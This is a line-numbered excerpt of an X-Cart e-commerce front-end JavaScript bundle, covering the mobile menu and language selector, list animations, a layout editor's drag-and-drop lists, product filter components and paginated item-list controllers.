11065Search.getInstance();;
11066/* AUTOGENERATED: catalog.js */ 11067/* vim: set ts=2 sw=2 sts=2 et: */ 11068 11069/** 11070 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 11071 * See https://www.x-cart.com/license-agreement.html for license details. 11072 */ 11073 11074const MobileCatalog = function () { 11075 let items = []; 11076 let backButtons = []; 11077 let list = document.querySelector('.mobile-menu__categories'); 11078 const listWrapper = document.querySelector('.mobile-menu__categories-list > .dropdown-menu'); 11079 11080 let updateItemsList = () => { 11081 items = document.querySelectorAll( 11082 '.mobile-menu__categories-item--has-children > .mobile-menu__categories-item-link' 11083 ); 11084 backButtons = document.querySelectorAll('.mobile-menu__categories-item-back'); 11085 }; 11086 11087 /** 11088 * @param {Element} elem 11089 * @param {boolean} [open] 11090 */ 11091 this.toggle = (elem, open) => { 11092 let listItem = elem; 11093 if (listItem.classList.contains('mobile-menu__categories-item-link')) { 11094 listItem = listItem.parentNode; 11095 } 11096 11097 if (typeof open === 'undefined') { 11098 open = !this.isOpen(elem); 11099 } 11100 11101 const itemTitle = 11102 listItem.querySelector(':scope > .mobile-menu__categories-item-link > .mobile-menu__categories-item-title'); 11103 xcart.trigger( 11104 (open ? 'catalog.category.open' : 'catalog.category.close'), 11105 { 11106 mobile: true, 11107 item: listItem, 11108 title: itemTitle ? itemTitle.innerHTML : '' 11109 } 11110 ); 11111 11112 listItem.classList.toggle('mobile-menu__categories-item--open', open); 11113 if (listItem.classList.contains('mobile-menu__categories-item--level-1')) { 11114 list.classList.toggle('mobile-menu__categories--open', open); 11115 listWrapper.classList.toggle('open', open); 11116 } 11117 11118 if (!open) { 11119 this.closeSubmenus(listItem); 11120 } 11121 }; 11122 11123 /** 11124 * @param {Element} elem 11125 * @return {boolean} 11126 */ 11127 this.isOpen = (elem) => { 11128 return elem.parentNode.classList.contains('mobile-menu__categories-item--open'); 11129 }; 11130 11131 /** 11132 * @param {Element} elem 11133 */ 11134 this.close = (elem) => { 11135 this.toggle(elem, false); 11136 }; 11137 11138 /** 11139 * @param {Element} elem 11140 */ 11141 this.open = (elem) => { 11142 this.toggle(elem, true); 11143 }; 11144 11145 /** 11146 * @param {Element} elem 11147 */ 11148 this.closeSubmenus = (elem) => { 11149 elem.querySelectorAll('.mobile-menu__categories-item--open').forEach(item => { 11150 this.close(item); 11151 }); 11152 }; 11153 11154 this.closeAll = () => { 11155 this.closeSubmenus(listWrapper); 11156 }; 11157 11158 this.updateHandlers = () => { 11159 updateItemsList(); 11160 11161 items.forEach(item => { 11162 if (!item.hasAttribute('data-handled')) { 11163 item.addEventListener('click', (e) => { 11164 this.toggle(item); 11165 e.preventDefault(); 11166 }); 11167 } 11168 11169 item.setAttribute('data-handled', true); 11170 }); 11171 11172 backButtons.forEach(button => { 11173 if (!button.hasAttribute('data-handled')) { 11174 button.addEventListener('click', () => { 11175 this.close(button.parentNode.parentNode.parentNode); 11176 }); 11177 } 11178 11179 button.setAttribute('data-handled', true); 11180 }); 11181 }; 11182 11183 this.init = () => { 11184 this.updateHandlers(); 11185 }; 11186 11187 this.updateMobileMenuList = () => { 11188 list = document.querySelector('.mobile-menu__categories'); 11189 }; 11190}; 11191 11192MobileCatalog.prototype.instance = null; 11193 11194MobileCatalog.getInstance = () => { 11195 if (!MobileCatalog.prototype.instance) { 11196 MobileCatalog.prototype.instance = new MobileCatalog(); 11197 MobileCatalog.prototype.instance.init(); 11198 } 11199 11200 return MobileCatalog.prototype.instance; 11201}; 11202 11203MobileCatalog.getInstance();; 11204/* AUTOGENERATED: script.mobile.js */ 11205/* vim: set ts=2 sw=2 sts=2 et: */ 11206 11207/** 11208 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 11209 * See https://www.x-cart.com/license-agreement.html for license details. 11210 */ 11211 11212/** 11213 * Controller 11214 */ 11215 11216function MobileLanguageController(base) 11217{ 11218 this.callSupermethod('constructor', arguments); 11219} 11220 11221extend(MobileLanguageController, AController); 11222 11223// Controller name 11224MobileLanguageController.prototype.name = 'MobileLanguageController'; 11225 11226// Find pattern 11227MobileLanguageController.prototype.findPattern = '.language-selector-mobile'; 11228 11229// Initialize controller 11230MobileLanguageController.prototype.initialize = function() 11231{ 11232 if (!this.bodyHandlerBinded) { 11233 jQuery('body').click(_.bind( 11234 function (event) { 11235 this.toggleViewMode(false); 11236 }, 11237 this 11238 )); 11239 11240 this.bodyHandlerBinded = true; 11241 } 11242 11243 jQuery(this.base).click(_.bind( 11244 function(event, box) { 11245 jQuery('.nav-pills').children('li').removeClass('open'); 11246 event.stopPropagation(); 11247 11248 this.toggleViewMode(); 11249 11250 return false;
11251 }, 11252 this 11253 )); 11254 11255 xcart.bind( 11256 'minicart.opened', 11257 _.bind( 11258 function(event, widget) { 11259 this.toggleViewMode(false); 11260 }, 11261 this 11262 ) 11263 ); 11264 11265 doPaddingResize(); 11266 11267 jQuery('.items-list', this.base).click( 11268 function(event) { 11269 event.stopPropagation(); 11270 } 11271 ); 11272}; 11273 11274// Toggle view mode 11275MobileLanguageController.prototype.toggleViewMode = function(expand) 11276{ 11277 if (expand !== true && expand !== false) { 11278 expand = !this.base.hasClass('expanded'); 11279 } 11280 11281 if (expand) { 11282 this.base.addClass('expanded').removeClass('collapsed'); 11283 this.triggerVent('opened', this); 11284 } else if(this.base.hasClass('expanded')) { 11285 this.base.removeClass('expanded').addClass('collapsed'); 11286 this.triggerVent('closed', this); 11287 } 11288}; 11289 11290xcart.autoload(MobileLanguageController); 11291 11292jQuery(window).resize( 11293 function () { 11294 doPaddingResize(); 11295 } 11296); 11297 11298 11299// Get event namespace (prefix) 11300MobileLanguageController.prototype.getEventNamespace = function() 11301{ 11302 return 'multicurrency.top'; 11303}; 11304 11305decorate( 11306 'MinicartView', 11307 'postprocess', 11308 function (selector) 11309 { 11310 arguments.callee.previousMethod.apply(this, arguments); 11311 11312 xcart.bind( 11313 'multicurrency.top.opened', 11314 _.bind( 11315 function(event) { 11316 this.toggleViewMode(false); 11317 }, 11318 this 11319 ) 11320 ); 11321 } 11322); 11323 11324function doPaddingResize() { 11325 var minicart = jQuery('.lc-minicart.lc-minicart-horizontal '); 11326 jQuery('li.dropdown.language-button-mobile').css('padding-right', minicart.outerWidth()); 11327}; 11328/* AUTOGENERATED: jquery.listItem.js */ 11329/* vim: set ts=2 sw=2 sts=2 et: */ 11330 11331/** 11332 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 11333 * See https://www.x-cart.com/license-agreement.html for license details. 11334 */ 11335 11336(function ($) { 11337 var undefined; 11338 11339 var options = { 11340 prefix: 'list-item__' 11341 }; 11342 11343 var focusAction = function (element) { 11344 let stickyElements = []; 11345 const additionalSpace = 20; 11346 const elem = element.get(0); 11347 const scrollStart = window.pageYOffset; 11348 let elemStartPosition = elem.getBoundingClientRect().top; 11349 let scrollBy = 0; 11350 let scrolledByOnPreviousStep = null; 11351 let elemTopOnPreviousStep = null; 11352 11353 const recalculateScrollCoords = function() { 11354 window.themeTweakerStickyElements = [ 11355 '.desktop-header', 11356 '.themetweaker-panel--header' 11357 ]; 11358 const evt = new CustomEvent('themeTweakerStickyElementsCollect'); 11359 window.dispatchEvent(evt); 11360 stickyElements = window.themeTweakerStickyElements.slice(0, window.themeTweakerStickyElements.length); 11361 const elemCurrentTop = elem.getBoundingClientRect().top; 11362 if ( 11363 scrolledByOnPreviousStep !== null 11364 && elemTopOnPreviousStep !== null 11365 && elemCurrentTop !== elemTopOnPreviousStep - scrolledByOnPreviousStep 11366 ) { 11367 elemStartPosition += (elemCurrentTop - elemTopOnPreviousStep + scrolledByOnPreviousStep); 11368 } 11369 scrollBy = elemStartPosition - additionalSpace; 11370 stickyElements.forEach(function(selector) { 11371 if (typeof selector === 'function') { 11372 scrollBy -= selector(); 11373 } else if (typeof selector === 'string') { 11374 document.querySelectorAll(selector).forEach(function(element) { 11375 scrollBy -= element.getBoundingClientRect().height; 11376 }); 11377 } else if (typeof selector === 'object' && typeof selector.getBoundingClientRect === 'function') { 11378 scrollBy -= selector.getBoundingClientRect().height; 11379 } 11380 }); 11381 elemTopOnPreviousStep = elemCurrentTop; 11382 } 11383 recalculateScrollCoords(); 11384 11385 const timeStart = Date.now(); 11386 const duration = 300; 11387 const frameStep = function() { 11388 const percentage = Math.min(((Date.now() - timeStart) / duration), 1); 11389 const step = 1 - ( 1 - percentage ) * ( 1 - percentage ); 11390 recalculateScrollCoords(); 11391 scrolledByOnPreviousStep = Math.round(scrollStart + scrollBy * step) - window.pageYOffset; 11392 window.scrollTo(0, Math.round(scrollStart + scrollBy * step)); 11393 if (percentage < 1) 11394 requestAnimationFrame(frameStep); 11395 } 11396 requestAnimationFrame(frameStep); 11397 } 11398 11399 var methods = { 11400 focus: function () { 11401 let element = $(this); 11402 $(this).on('animationend', _.once(function () { 11403 focusAction(element); 11404 })); 11405 }, 11406 selected: function () { 11407 focusAction($(this)); 11408 }, 11409 show: function () { 11410 this.each(function () { 11411 $(this).on('animationend', _.once(function () { 11412 $(this).removeClass(options.prefix + 'showing'); 11413 $(this).css('max-height', ''); 11414 })); 11415 $(this).css('max-height', $(this).data('height')); 11416 $(this).removeClass(options.prefix + 'hidden'); 11417 $(this).removeClass(options.prefix + 'sidebar-hidden'); 11418 $(this).addClass(options.prefix + 'showing'); 11419 }); 11420 }, 11421 hide: function () { 11422 this.each(function () { 11423 $(this).data('height', $(this).outerHeight()); 11424 $(this).css('max-height', $(this).outerHeight()); 11425 $(this).on('animationend', _.once(function () { 11426 $(this).removeClass(options.prefix + 'hiding'); 11427 $(this).addClass(options.prefix + 'hidden'); 11428 $(this).css('max-height', 0); 11429 })); 11430 $(this).addClass(options.prefix + 'hiding'); 11431 }); 11432 }, 11433 isHidden: function () { 11434 return this.hasClass(options.prefix + 'hidden') || this.hasClass(options.prefix + 'temporary'); 11435 }, 11436 isSidebarHidden: function() { 11437 return this.hasClass(options.prefix + 'sidebar-hidden'); 11438 }, 11439 }; 11440 11441 $.fn.listItem = function (method) { 11442 if (methods[method]) { 11443 return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); 11444 } else if (typeof method === 'object' || !method) { 11445 return methods.init.apply(this, arguments); 11446 } else { 11447 $.error('ÐеÑод Ñ Ð¸Ð¼ÐµÐ½ÐµÐ¼ ' + method + ' не опÑеделен Ð´Ð»Ñ jQuery.listItem'); 11448 } 11449 }; 11450})(jQuery);; 11451/* AUTOGENERATED: list_container.js */ 11452/* vim: set ts=2 sw=2 sts=2 et: */ 11453 11454/** 11455 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 11456 * See https://www.x-cart.com/license-agreement.html for license details. 11457 */ 11458 11459function ListContainer(element) { 11460 this.base = $(element); 11461 this.instances = []; 11462 11463 var self = this; 11464 var groups = $(this.base).find('.group-items.movable-group'); 11465
11466 $('.group-item').mouseenter(function () { 11467 if (!$(this).closest('.group-items').hasClass('group-items__on-move')) { 11468 $(this).removeClass('group-item__not-hoverable'); 11469 } 11470 }) 11471 11472 groups.each(function () { 11473 var instance = Sortable.create(this, { 11474 animation: 150, 11475 handle: '.themetweaker-panel-move', 11476 group: 'common', 11477 ghostClass: "sortable-ghost", // Class name for the drop placeholder 11478 chosenClass: "sortable-chosen", // Class name for the chosen item 11479 dragClass: "sortable-drag", 11480 onStart: _.bind(self.onStart, self), 11481 onEnd: _.bind(self.onEnd, self), 11482 onMove: _.bind(self.onMove, self), 11483 filter: ".group-item-hidden", 11484 }); 11485 11486 this.querySelectorAll('.themetweaker-panel-move').forEach((mover) => { 11487 mover.addEventListener("click", function(e) { 11488 e.stopPropagation(); 11489 }); 11490 }); 11491 11492 self.instances.push(instance); 11493 }); 11494} 11495 11496ListContainer.prototype.move = function (item) { 11497 var from = item.closest('.list-items-group'); 11498 var center = $('.list-items-group[data-list="center"]'); 11499 11500 if (center.length > 0) { 11501 center.append(item); 11502 var event = new Event('add'); 11503 event.from = from; 11504 event.to = center; 11505 event.item = item; 11506 this.onAdd(event); 11507 } else { 11508 console.error('Can\'t move item to center group, because it doesn\'t exist'); 11509 } 11510}; 11511 11512ListContainer.prototype.onStart = function (event) { 11513 xcart.trigger('layout.dragStart'); 11514 $('.group-item').addClass('group-item__not-hoverable'); 11515 $('.group-items').addClass('group-items__on-move'); 11516}; 11517 11518ListContainer.prototype.onEnd = function (event) { 11519 $('.group-items').removeClass('group-items__on-move'); 11520 xcart.trigger('layout.dragStop'); 11521}; 11522 11523ListContainer.prototype.onRemove = function (event) { 11524 11525}; 11526 11527 11528ListContainer.prototype.onFilter = function (event) { 11529 11530}; 11531 11532ListContainer.prototype.onMove = function (event) { 11533 xcart.trigger( 11534 'layout.listElemMoved', 11535 event 11536 ); 11537}; 11538 11539xcart.autoload(ListContainer, '.layout-editor-sidebar');; 11540/* AUTOGENERATED: filters_store.js */ 11541/* vim: set ts=2 sw=2 sts=2 et: */ 11542 11543/** 11544 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 11545 * See https://www.x-cart.com/license-agreement.html for license details. 11546 */ 11547 11548define('cs_filters/store', ['vue/vuex', 'js/underscore'], function (Vuex, _) { 11549 return new Vuex.Store({ 11550 state: { 11551 filtersSelectedValues: [] 11552 }, 11553 mutations: { 11554 setFiltersValues: function (state, filters) { 11555 state.filtersSelectedValues = filters 11556 }, 11557 removeEntireFilter: function (state, filterId) { 11558 state.filtersSelectedValues = state.filtersSelectedValues.filter(item => item.filterId !== filterId); 11559 }, 11560 removeFilter: function (state, { filterId, value }) { 11561 state.filtersSelectedValues = state.filtersSelectedValues.filter(item => { 11562 if (item.filterId !== filterId) { 11563 return true; 11564 } 11565 if (Array.isArray(value)) { 11566 return false; 11567 } 11568 if (Array.isArray(item.value)) { 11569 const existedValue = item.value.filter(v => v === value); 11570 if (existedValue.length > 0) { 11571 return false; 11572 } 11573 } 11574 return true 11575 }); 11576 } 11577 }, 11578 actions: { 11579 updateFiltersValues: function (context, filters) { 11580 context.commit('setFiltersValues', filters) 11581 }, 11582 removeEntireFilter: function (context, filterId) { 11583 context.commit('removeEntireFilter', filterId); 11584 }, 11585 removeFilterValue: function (context, payload) { 11586 context.commit('removeFilter', payload); 11587 } 11588 } 11589 }) 11590});; 11591/* AUTOGENERATED: filters_values_list_comp.js */ 11592/* vim: set ts=2 sw=2 sts=2 et: */ 11593 11594/** 11595 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 11596 * See https://www.x-cart.com/license-agreement.html for license details. 11597 */ 11598 11599define('cs_filters/filters-values-list-comp', ['vue/vue', 'vue/vuex', 'js/underscore'], function (Vue, Vuex, _) { 11600 return Vue.extend({ 11601 template: '#cloud-filters-values-list-box', 11602 data() { 11603 return { 11604 activePopoverIndex: null, 11605 touchStartY: 0, 11606 touchMoveY: 0, 11607 originalTitle: null 11608 } 11609 }, 11610 computed: { 11611 filtersSelectedValues: function () { 11612 xcart.trigger('cloud-filters-values-list-box.changed') 11613 return this.$store.state.filtersSelectedValues 11614 }, 11615 isExistFiltersSelectedValues: function () { 11616 return !_.isEmpty(this.$store.state.filtersSelectedValues) 11617 }, 11618 groupedFilterValues: function () { 11619 let groupedValues = {}; 11620 let order = []; 11621
11622 this.filtersSelectedValues.forEach((item, originalIndex) => { 11623 if (!groupedValues[item.filterId]) { 11624 groupedValues[item.filterId] = { 11625 name: item.name, 11626 filterId: item.filterId, 11627 value: [], 11628 visibleValue: [], 11629 indexes: {} 11630 }; 11631 order.push(item.filterId); 11632 } 11633 if (Array.isArray(item.value)) { 11634 item.value.forEach((val, i) => { 11635 groupedValues[item.filterId].indexes[groupedValues[item.filterId].value.length] = originalIndex; 11636 groupedValues[item.filterId].value.push(val); 11637 groupedValues[item.filterId].visibleValue.push(item.visibleValue[i]); 11638 }); 11639 } else { 11640 groupedValues[item.filterId].value = item.value; 11641 groupedValues[item.filterId].visibleValue = item.visibleValue; 11642 } 11643 }); 11644 11645 return order.map(id => groupedValues[id]); 11646 } 11647 }, 11648 methods: _.extend( 11649 Vuex.mapActions([ 11650 'updateFiltersValues', 11651 'removeFilterValue', 11652 'removeEntireFilter' 11653 ]), { 11654 clearFilters: function () { 11655 this.updateFiltersValues([]) 11656 }, 11657 removeValue: function(groupIndex, valueIndex, event) { 11658 if (event) { 11659 event.stopPropagation(); 11660 } 11661 11662 const filterValue = this.groupedFilterValues[groupIndex]; 11663 if (!filterValue) return; 11664 11665 if (this.isPrice(filterValue)) { 11666 this.removeFilterValue({ 11667 filterId: 'price', 11668 value: filterValue.value 11669 }); 11670 return; 11671 } 11672 11673 if (this.isSingleFilterGroupedValue(filterValue)) { 11674 this.removeFilterValue({ 11675 filterId: filterValue.filterId, 11676 value: filterValue.value[0] 11677 }); 11678 return; 11679 } 11680 11681 if (valueIndex !== undefined) { 11682 const lengthForClosingPopover = 2; 11683 if (filterValue.value.length === lengthForClosingPopover) { 11684 this.closePopovers(); 11685 } 11686 11687 this.removeFilterValue({ 11688 filterId: filterValue.filterId, 11689 value: filterValue.value[valueIndex] 11690 }); 11691 } 11692 }, 11693 removeEntireFilterByIndex: function(groupIndex) { 11694 const filterValue = this.groupedFilterValues[groupIndex]; 11695 if (filterValue) { 11696 this.closePopovers(); 11697 this.removeEntireFilter(filterValue.filterId); 11698 } 11699 }, 11700 isSingleFilterGroupedValue: function (filterValue) { 11701 return filterValue.value.length === 1 11702 }, 11703 isPrice: function (filterValue) { 11704 return filterValue.filterId === 'price' 11705 }, 11706 isMinPrice: function(filterValue) { 11707 return _.has(filterValue.visibleValue, 'min_price'); 11708 }, 11709 isMaxPrice: function(filterValue) { 11710 return _.has(filterValue.visibleValue, 'max_price'); 11711 }, 11712 getMinPrice: function (filterValue) { 11713 if (this.isMinPrice(filterValue)) { 11714 return filterValue.visibleValue.min_price; 11715 } 11716 11717 return 0 11718 }, 11719 getMaxPrice: function (filterValue) { 11720 if (this.isMaxPrice(filterValue)) { 11721 return filterValue.visibleValue.max_price; 11722 } 11723 11724 return 0 11725 }, 11726 filterTagId: function (filterValue) { 11727 if (filterValue.filterId === 'price') { 11728 return 'price' 11729 } else { 11730 return window.xcart.utils.hash(filterValue.filterId + filterValue.visibleValue.toString()); 11731 } 11732 }, 11733 togglePopover(index) { 11734 if (this.activePopoverIndex === index) { 11735 this.closePopovers(); 11736 } else { 11737 this.activePopoverIndex = index; 11738 this.updateNavbarTitleToBack(); 11739 this.setPopoverHeight() 11740 } 11741 }, 11742 isAutomobileSkin() { 11743 return $('html').is('[data-theme]'); 11744 }, 11745 toggleMobileNavbarOverflow (isOpened) { 11746 if (this.isDesktop() || this.isAutomobileSkin()) { 11747 return 11748 } 11749 11750 $('#cloud-filters-mobile') 11751 .children() 11752 .each(function () { 11753 const $el = $(this) 11754 if ( 11755 $el.hasClass('cloud-filters-selected-values-mobile') || 11756 $el.hasClass('mm-navbar') 11757 ) { 11758 return 11759 } 11760 11761 if (isOpened) { 11762 $el.addClass('filter-hidden'); 11763 } else { 11764 $el.removeClass('filter-hidden') 11765 } 11766 }) 11767 }, 11768 setPopoverHeight() { 11769 if (!this.isDesktop() && this.isAutomobileSkin()) { 11770 this.$nextTick(() => { 11771 const popover = this.$el.querySelector('.filters-popover'); 11772 if (popover) { 11773 const contentHeight = popover.scrollHeight + 2; 11774 popover.style.height = `${contentHeight}px`; 11775 } 11776 }); 11777 } 11778 }, 11779 resetPopoverHeightIfDesktop() { 11780 if (this.isDesktop()) { 11781 const popover = this.$el.querySelector('.filters-popover'); 11782 if (popover) { 11783 popover.style.height = 'auto'; 11784 } 11785 } 11786 }, 11787 closePopovers(event) { 11788 if (!event || !this.$el.querySelector('.filters-popover')?.contains(event.target)) { 11789 this.activePopoverIndex = null; 11790 this.restoreNavbarTitle(); 11791 } 11792 }, 11793 handleClickOutside(event) { 11794 if (!this.$el.contains(event.target) || 11795 !event.target.closest('.filters-popover')) { 11796 this.closePopovers(); 11797 } 11798 }, 11799 isDesktop() { 11800 return window.innerWidth > 768; 11801 }, 11802 onTouchStart(e) { 11803 if (this.isDesktop()) { 11804 return; 11805 } 11806 this.touchStartY = e.touches[0].clientY; 11807 }, 11808 onTouchMove(e) { 11809 if (this.isDesktop()) { 11810 return; 11811 } 11812 this.touchMoveY = e.touches[0].clientY; 11813 }, 11814 onTouchEnd(e) { 11815 if (this.isDesktop()) return; 11816 11817 const popoverEl = this.$el.querySelector('.filters-popover');
11818 if (!popoverEl) return; 11819 11820 const contentEl = popoverEl.querySelector('.filters-popover__content'); 11821 const headerEl = popoverEl.querySelector('.filters-drawer__header'); 11822 const swipeDistance = this.touchMoveY - this.touchStartY; 11823 11824 if (swipeDistance < 50) { 11825 return; 11826 } 11827 11828 const touch = e.changedTouches[0]; 11829 const headerRect = headerEl.getBoundingClientRect(); 11830 const contentRect = contentEl.getBoundingClientRect(); 11831 11832 const isTouchInHeader = ( 11833 touch.clientY >= headerRect.top && 11834 touch.clientY >= headerRect.bottom 11835 ); 11836 11837 const isTouchInContent = ( 11838 touch.clientY >= contentRect.top && 11839 touch.clientY <= contentRect.bottom 11840 ); 11841 11842 if (contentEl.scrollTop <= 0 && isTouchInContent && !(contentEl.scrollWidth > contentEl.clientWidth)) { 11843 this.togglePopover(this.activePopoverIndex); 11844 return; 11845 } 11846 11847 if (isTouchInHeader && (touch.target.className === 'filters-drawer' || $(touch.target).find('.filters-drawer').length > 0)) { 11848 this.togglePopover(this.activePopoverIndex); 11849 } 11850 }, 11851 updateNavbarTitleToBack() { 11852 const navbar = $('.mm-navbar-top:visible'); 11853 11854 if (navbar.length === 0) return; 11855 11856 const title = navbar.find('.mm-title'); 11857 11858 if (title.length === 0) return; 11859 11860 if (this.originalTitle === null) { 11861 this.originalTitle = title.text(); 11862 } 11863 11864 const backTitle = xcart.t('[csf] Back') 11865 11866 title.html(`<a href="javascript:void(0)" class="filters-mm-back-link">${backTitle}</a>`); 11867 11868 title.find('.mm-back-link').on('click', (e) => { 11869 e.preventDefault(); 11870 this.closePopovers(); 11871 }); 11872 }, 11873 restoreNavbarTitle() { 11874 const navbar = $('.mm-navbar-top:visible'); 11875 if (!navbar || this.originalTitle === null) return; 11876 11877 const title = navbar.find('.mm-title'); 11878 if (title) { 11879 title.html(this.originalTitle); 11880 } 11881 11882 this.originalTitle = null; 11883 } 11884 }), 11885 watch: { 11886 activePopoverIndex(newValue, oldValue) { 11887 this.toggleMobileNavbarOverflow(newValue !== null); 11888 } 11889 }, 11890 mounted() { 11891 document.addEventListener('click', this.handleClickOutside); 11892 window.addEventListener('touchstart', this.onTouchStart, { passive: true }); 11893 window.addEventListener('touchmove', this.onTouchMove, { passive: true }); 11894 window.addEventListener('touchend', this.onTouchEnd, { passive: true }); 11895 window.addEventListener('resize', this.resetPopoverHeightIfDesktop); 11896 }, 11897 beforeDestroy() { 11898 document.removeEventListener('click', this.handleClickOutside); 11899 window.removeEventListener('touchstart', this.onTouchStart); 11900 window.removeEventListener('touchmove', this.onTouchMove); 11901 window.removeEventListener('touchend', this.onTouchEnd); 11902 window.removeEventListener('resize', this.resetPopoverHeightIfDesktop); 11903 } 11904 }) 11905});; 11906/* AUTOGENERATED: filters_values_list_box.js */ 11907/* vim: set ts=2 sw=2 sts=2 et: */ 11908 11909/** 11910 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 11911 * See https://www.x-cart.com/license-agreement.html for license details. 11912 */ 11913 11914define('cs_filters/filters-selected-values-list-box', ['vue/vue', 'cs_filters/store', 'cs_filters/filters-values-list-comp', 'js/underscore'], function (Vue, Store, FiltersValuesListBox, _) { 11915 const CommonFiltersValuesListBox = Vue.extend({ 11916 store: Store, 11917 components: { 11918 'cloud-filters-values-list-box': FiltersValuesListBox 11919 } 11920 }) 11921 11922 return new CommonFiltersValuesListBox({el: '#cloud-filters-selected-values'}) 11923});; 11924/* AUTOGENERATED: items_list.js */ 11925/* vim: set ts=2 sw=2 sts=2 et: */ 11926 11927/** 11928 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 11929 * See https://www.x-cart.com/license-agreement.html for license details. 11930 */ 11931 11932// Main class 11933function ListsController(base) 11934{ 11935 ListsController.superclass.constructor.apply(this, arguments); 11936 11937 if (this.base && this.base.length) { 11938 this.block = this.getListView(); 11939 } 11940} 11941 11942extend(ListsController, AController); 11943 11944ListsController.prototype.name = 'ItemsListController'; 11945 11946ListsController.prototype.findPattern = '.items-list'; 11947 11948ListsController.prototype.block = null; 11949 11950ListsController.prototype.selfUpdated = false;
11951 11952ListsController.prototype.getListView = function() 11953{ 11954 return new ListView(this.base); 11955}; 11956 11957// Initialize controller 11958ListsController.prototype.initialize = function() 11959{ 11960 var o = this; 11961 11962 this.base.bind( 11963 'reload', 11964 function(event, box) { 11965 o.bind(box); 11966 } 11967 ); 11968}; 11969 11970/** 11971 * Main widget (listView) 11972 */ 11973 11974function ListView(base) 11975{ 11976 this.widgetClass = xcart.getCommentedData(base, 'widget_class'); 11977 this.widgetTarget = xcart.getCommentedData(base, 'widget_target'); 11978 this.widgetParams = xcart.getCommentedData(base, 'widget_params'); 11979 this.replaceState = xcart.getCommentedData(base, 'replaceState'); 11980 this.replaceStatePrefix = xcart.getCommentedData(base, 'replaceStatePrefix'); 11981 this.listenToGetParams = xcart.getCommentedData(base, 'listenToGetParams'); 11982 11983 ListView.superclass.constructor.apply(this, arguments); 11984} 11985 11986extend(ListView, ALoadable); 11987 11988ListView.prototype.getCurrentPageIdParam = function() { 11989 const url = new URL(window.location); 11990 const urlParams = url.searchParams; 11991 11992 return urlParams.has('pageId') 11993 ? { 'pageId': parseInt(urlParams.get('pageId'), 10) } 11994 : {}; 11995}; 11996 11997ListView.prototype.load = function(params) 11998{ 11999 if (this.replaceState) { 12000 this.doReplaceState(params); 12001 } 12002 12003 if (this.listenToGetParams) { 12004 const url = new URL(window.location); 12005 const urlParams = url.searchParams; 12006 12007 _.mapObject(params, (value, key) => { 12008 if (key === 'pageId') { 12009 urlParams.set(key, value); 12010 } 12011 12012 if (key !== 'pageId' && key !== 'displayMode') { 12013 urlParams.delete('pageId'); 12014 } 12015 }); 12016 12017 12018 url.searchParams = urlParams.toString(); 12019 12020 history.pushState({}, null, url.toString()); 12021 } 12022 12023 if (!xcart.isRequesterEnabled) { 12024 return false; 12025 } 12026 12027 if (this.isLoading) { 12028 this.deferredLoad = true; 12029 return true; 12030 } 12031 12032 this.isLoading = true; 12033 this.deferredLoad = false; 12034 12035 this.lastLoadParams = params; 12036 12037 const newUrl = this.buildWidgetRequestURL(params); 12038 12039 if (this.base) { 12040 this.base.trigger('preload', [this, newUrl]); 12041 12042 if (typeof(this.preloadHandler) == 'function') { 12043 // Call preload event handler 12044 this.preloadHandler.call(this.base); 12045 } 12046 } 12047 12048 var state = { 'widget': this, 'url': newUrl, 'options': this.getLoaderOptions() } 12049 12050 this.triggerVent('preload', state); 12051 12052 this.saveState(); 12053 12054 this.shade(); 12055 12056 state.xhr = xcart.get(state.url, this.loadHandlerCallback, null, state.options); 12057 12058 this.triggerVent('afterload', state); 12059 12060 return state.xhr; 12061}; 12062 12063 12064ListView.prototype.shadeWidget = true; 12065 12066ListView.prototype.sessionCell = null; 12067 12068ListView.prototype.postprocess = function(isSuccess, initial) 12069{ 12070 ListView.superclass.postprocess.apply(this, arguments); 12071 12072 if (isSuccess) { 12073 12074 const o = this; 12075 12076 // Register page click handler 12077 jQuery('.pagination a', this.base).click( 12078 function() { 12079 // scroll page to list top 12080 jQuery('html, body').animate({scrollTop: o.base.offset().top}); 12081 12082 return !o.load({'pageId': xcart.getValueFromClass(this, 'page')}); 12083 } 12084 ); 12085 jQuery('input.page-length').validationEngine(); 12086 12087 // Register page count change handler 12088 jQuery('input.page-length', this.base).change( 12089 function() { 12090 if (!o.isLoading) { 12091 if(!jQuery(this).validationEngine('validate')) { 12092 count = parseInt(jQuery(this).val()); 12093 12094 if (isNaN(count)) { 12095 //TODO We must take it from the previous widget parameters ... 12096 count = 10; 12097 12098 } else if (count < 1) { 12099 count = 1; 12100 } 12101 12102 if (count != jQuery(this).val()) { 12103 jQuery(this).val(count); 12104 } 12105 12106 o.load({ 12107 'pageId': 1, 12108 'itemsPerPage': count 12109 }); 12110 } 12111 } 12112 } 12113 ); 12114 12115 jQuery('input.page-length', this.base).keypress( 12116 function(event) { 12117 if (event.keyCode == 13) { 12118 jQuery(event.currentTarget).change(); 12119 } 12120 } 12121 ); 12122 12123 window.addEventListener('popstate', function () { 12124 if (xcart.getCommentedData(o.base, 'listenToGetParams')) { 12125 location.reload(); 12126 } 12127 }); 12128 } 12129};; 12130/* AUTOGENERATED: controller.js */ 12131/* vim: set ts=2 sw=2 sts=2 et: */ 12132 12133/** 12134 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12135 * See https://www.x-cart.com/license-agreement.html for license details. 12136 */ 12137 12138function BlogPostsItemsListController(base) 12139{ 12140 BlogPostsItemsListController.superclass.constructor.apply(this, arguments); 12141} 12142 12143extend(BlogPostsItemsListController, ListsController); 12144 12145BlogPostsItemsListController.prototype.name = 'BlogPostsItemsListController'; 12146 12147BlogPostsItemsListController.prototype.findPattern += '.blog-posts'; 12148 12149BlogPostsItemsListController.prototype.getListView = function() 12150{ 12151 return new BlogPostsItemsListView(this.base); 12152} 12153 12154function BlogPostsItemsListView(base) 12155{ 12156 BlogPostsItemsListView.superclass.constructor.apply(this, arguments); 12157} 12158 12159extend(BlogPostsItemsListView, ListView); 12160 12161BlogPostsItemsListView.prototype.postprocess = function(isSuccess, initial) 12162{ 12163 BlogPostsItemsListView.superclass.postprocess.apply(this, arguments); 12164 12165 if (isSuccess) { 12166 // Some routines 12167 } 12168} 12169 12170xcart.autoload(BlogPostsItemsListController);; 